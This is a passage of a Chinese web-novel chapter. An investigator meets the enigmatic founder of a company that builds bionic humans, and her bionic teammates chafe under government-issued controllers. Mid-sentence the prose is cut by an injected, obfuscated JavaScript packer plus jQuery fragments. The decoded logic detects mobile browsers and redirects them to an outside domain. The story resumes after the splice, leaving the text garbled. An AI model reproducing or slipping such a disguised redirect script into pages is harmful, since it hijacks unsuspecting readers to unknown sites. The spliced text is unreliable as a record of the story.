戚许语气平淡：“我们没见过。”
听到她这样回答，海斯如临大敌，他快步走到安普身边，嘴唇移动的范围终于超过了刚刚的标准路径。
“这位是烽塔科技创始人安普先生，”他目光一凛，“你知道自己该说什么。”
该说什么？
戚许目光在他们两个人脸上看了一个来回，想起陈让尘在特调局里跟她说过的话。
如果真的有参会的人走到你面前，不管问你什么，你只需要回答——
戚许压低声音，对上安普的眼睛：“特调局永远效忠人类基地，守护人类基因长存不灭。”
海斯长舒一口气，小心翼翼用余光看向安普。
他在这里工作很久了，每一个进入联邦政府大楼的人长什么样，叫什么名，甚至营养液要喝什么温度他都能记得一清二楚。
烽塔科技是人类基地首屈一指的科技公司，每个月的联邦高层会议安普都会受邀参加。但是以往，他都是最后一个来参会的，经常在会议时间已经开始之后才慢悠悠地走进来，平均迟到时长为13分26秒。
但他并不在意，因为，参会的人都会默契地说些无关痛痒的话题，直到他走进会议室才会进入正式讨论，不会让他错过任何重要信息。
正因如此，安普今天的反常格外明显。
他不仅比平日里自己抵达政府大楼的时间早，甚至比其他参加会议的人来得更早。
刚刚安普一下车就往戚许的方向走来，对其他人视若无睹，虽然他平日里也不把其他人放在眼里，但今天这种意味尤其明显。
这些都在向海斯表明一件事，一件虽然让他不敢相信但却是唯一合理的解释——
安普是专门来找戚许的。
这在海斯听来是不可思议的，甚至无限趋近于疯狂。
烽塔科技的创始人安普先生，竟然会因为一个特调局E级行动队的调查员一反常态，这比让海斯接受人类基地明天就要大难临头还困难。
毕竟在他心里，阶级的固化比那道白色的拱门还要坚硬。
门塌了，阶级都不会崩塌。
所以现在，安普的所作所为简直就像在跟他宣告，是的，门快塌了。
好在戚许说出了那句固定的回答，海斯心里稍微平复了一点，但下一秒，安普的回答就让他重新把心提到嗓子眼。
“听起来你并不认同这句话。”安普修长的手指笼罩嘴前，吸了口烟，细细的烟雾从他的薄唇周围蔓延开来，是厚重的玫瑰味。
戚许皱了皱眉，这个男人总是用一种俯瞰蝼蚁的表情看着她，她虽然在印象里没有见过这个男人，但却在他身上感受到了一种熟悉的危机感。
这种危机感让她想要远离这个人，理智和情感都在告诉她，不要对这个男人透露更多。
“这重要吗？”戚许反问。
安普高高的眉骨遮住阳光，一双眼睛完全隐藏在黑暗中，眼中的算计和精明顺着眼尾流到皱纹里。
他细长的眉毛动了一下，听到这个答案，他甚至幅度不大地点了点头。
仿佛在说：没错，这是戚许应该给出的答案。
“戚许，”他一字一字把她的名字念了一遍，似乎是在品味什么，又像在回忆什么，“我一直……都很欣赏你。但遗憾的是，你从开始就错了。”
戚许对上他的眼睛，那双漆黑的瞳孔里满是漠然，对着戚许说话和对着尸体说话似乎并没有什么差别。
“我们见过，”安普手指一松，那支细烟掉在地上，微弱的烟雾爬上他漂亮精致的皮鞋，“在很久、很久以前。”
他顿了顿，声音轻轻的，却很清晰：“你是人类基地最宝贵的财富。”
说完，那双皮鞋从戚许面前离开，残留的烟被他轻轻踢散，皮鞋撞击地面的声音再次响起，由近及远。
海斯惊愕地看了戚许一眼，转身快步跟上安普，把他送到那栋大楼门口。
人类基地最宝贵的财富？
能让他做出这种结论总不可能是因为戚许跟治安局吵架吵赢了吧？那是因为什么？她发现了异种具有智慧？
但她只是发现而已，远远称不上“最宝贵的财富”。
安普看起来非常了解她，甚至比她本人更加了解。
“你认识他？”陈让尘的声音久违地响起。
她这么一问，戚许反而心里觉得奇怪。安普是来见她的没错，但在她的记忆里完全没有这个人存在。
他口中的“很久很久”是多久？
他认识原主？认识原主用得上“很久很久”吗？或者……原主小的时候曾经见过他？
总不可能是戚许在穿越之前见过他吧？
不管是什么时候见过，总而言之，此时此刻的戚许对这个人毫无印象。
“不认识。”她回答，“你们认识？”
没等陈让尘说话，程虔和吴廿齐声开口：“安普，烽塔科技创始人，仿生人之父，为人类基地开辟了仿生时代，为人类提供了生产和生活的诸多便利。从烽塔科技创立之初，安普带领研发工程师先后在……”
“停。”戚许打断了他们比高中早读还整齐的朗诵，“你们见过他？”
“第一次。”程虔的声音隔着控制器传来，闷闷的，听不大清楚，“这些资料是跟底层代码一起写入我们脑子里的。我们是烽塔科技的产品，就像人类不会忘记自己的父母，我们不能忘记自己的缔造者。”
吴廿认同地点点头。
产品。
听他这么说，戚许心里像压了一块石头，她目光往控制器上看去。
控制器正前方有一个阴刻的徽标，顶端向上的正四面体中间困着一只眼睛，那是烽塔科技的标志。
烽塔科技缔造了他们，也同样缔造了能够精准限制他们的工具。
他们此刻被困在烽塔科技打造的笼子里，无论思想还是身体。
“戚许。”
戚许寻着声音抬头，海斯不知道什么时候已经回到她们身边，他看戚许的眼神有点说不清道不明。
害怕，谄媚，蔑视，讨好……
这些原本相斥的情绪在同一时刻从他眼睛里涌出来，戚许能察觉到他身体里的几种情绪正在打架，戚许最终看见的就是这样一副复杂的表情。
“你们小队的位置在侧门。”海斯给戚许指了指一会儿她们要站岗的位置。
说完，他小心翼翼地看了戚许一眼。
侧门是最靠近边缘的位置，那里没有多少人经过，当然也就不怎么引人注目。
这个位置是他安排的，现在他为自己的安排感到懊恼。
那时候他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16236281|178671||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还不知道安普和戚许的这层关系，他只是觉得特调局的E级小队，无论如何都不会比治安局和军队安排的队伍更值得重视。
显然，现在事实证明他错了，大错特错。如果能让时间回到一天前，他一定会把这支E级小队安排在正门口，就放在金碧辉煌的大门正下面。
但他没有回旋的余地了，如果他现在敢调动军队和治安局的位置，那么他将一口气得罪三家。
他只能寄希望于戚许不把这件事放在心上。
事实也的确如此。
戚许对于危险即将到来的预感并没有消退，反而在遇见安普之后变得更加强烈。目前为止，她的最高目标仍然是活着。
在成为真正能够掌控权势的人之前，远离权势争斗对她来说是一件好事，否则她很有可能成为斗争的牺牲品。
这个侧门对她们E0276小队来说是最好的安排，她们可没准备什么激昂的口号和锃光瓦亮的枪。清理骷髅虾，和治安局的论坛大战，还有仿生人入侵，她们这几天活得太累了，今天只带了一颗想摸鱼的心。
没人经过，意味着可以摸鱼。
她们非常满意这个安排，欣然接受，迈开步子就往侧门走去。
刚走出一步，戚许停下来，指着吴廿和程虔的脖子：“控制器不能摘吗？”
“抱歉，这是政府大楼的要求，在核心区域，仿生人必须佩戴控制器。”海斯再次强调，只是这一次，他脸上带着非常明显的歉意，他又说了一次，“抱歉。”
“算了，戚许。”吴廿上前拉了她一把，“走吧。”
戚许多看了海斯一眼，还是顺着吴廿的力道离开了。她们前脚刚走，一群身着治安局制服的人后脚就到。
他们的枪很亮，亮得能照出人的影子，头发一丝不苟，衣服没有一点褶皱，皮带也亮晶晶的。
戚许扫了一眼，治安局来了六个人，其中五个她都在骷髅虾任务里见过。
曾经柯耀杰手下的五个队员都在这，只是队长换人了。
他们吵闹着走向海斯，领到了入口的位置，那里是来参会的人下车的地方。
他们身后跟着五个人，穿着军装，一看就是军队的。海斯把他们安排在正门，是几乎所有参会的人都会经过的地方。
戚许余光往陈让尘身上瞟了一眼，她看见那群人了，只扫一眼就收回目光，完全没有多留心的想法。
陈让尘转而找了个舒服又阴凉的台阶一坐，望着云彩消磨时间。
程虔和吴廿努力把控制器调整到合适的角度，下巴已经有细小的擦伤，他们把痛感元件参数调整成零，想让自己好受一点。
调整元件参数的时候，程虔猛地一滞，声音透过控制器传出来：“我……我的异能也被控制了。”
戚许警觉地看向他，吴廿闻言尝试发动异能，她低头看向自己手心，调动了身体里的能量但依旧毫无反应。
试了好几次，她们终于接受了这个结果，颓然靠在墙上，四个人一齐望天，只希望里面的会议早点结束。
然而，会议开始的钟声一起到来的，是戚许对异种的感应。
她瞬间起身，血脉喷张，全身的鸡皮疙瘩都长出来，身体里的每一个细胞都已经进入战斗状态。
她看见一只硕大的异种，正在悄悄向她们靠近。